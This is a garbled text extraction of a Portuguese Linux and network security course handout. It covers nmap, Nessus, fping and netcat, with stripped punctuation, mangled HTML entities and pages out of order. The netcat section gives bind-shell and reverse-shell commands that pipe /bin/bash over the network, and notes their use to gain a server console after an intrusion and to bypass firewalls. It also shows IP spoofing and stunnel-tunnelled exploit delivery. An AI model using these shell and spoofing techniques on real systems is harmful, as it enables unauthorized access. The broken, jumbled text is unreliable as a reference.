501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 44: Curso de segurança em linux e redes em geral

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

